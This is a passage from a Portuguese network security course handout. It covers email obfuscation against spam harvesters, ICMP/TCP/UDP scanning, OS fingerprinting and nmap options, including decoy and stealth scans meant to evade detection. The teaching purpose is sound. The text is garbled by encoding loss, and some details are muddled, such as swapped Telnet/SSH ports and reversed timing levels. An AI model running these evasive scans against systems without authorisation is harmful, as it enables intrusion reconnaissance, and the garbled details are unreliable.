seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute 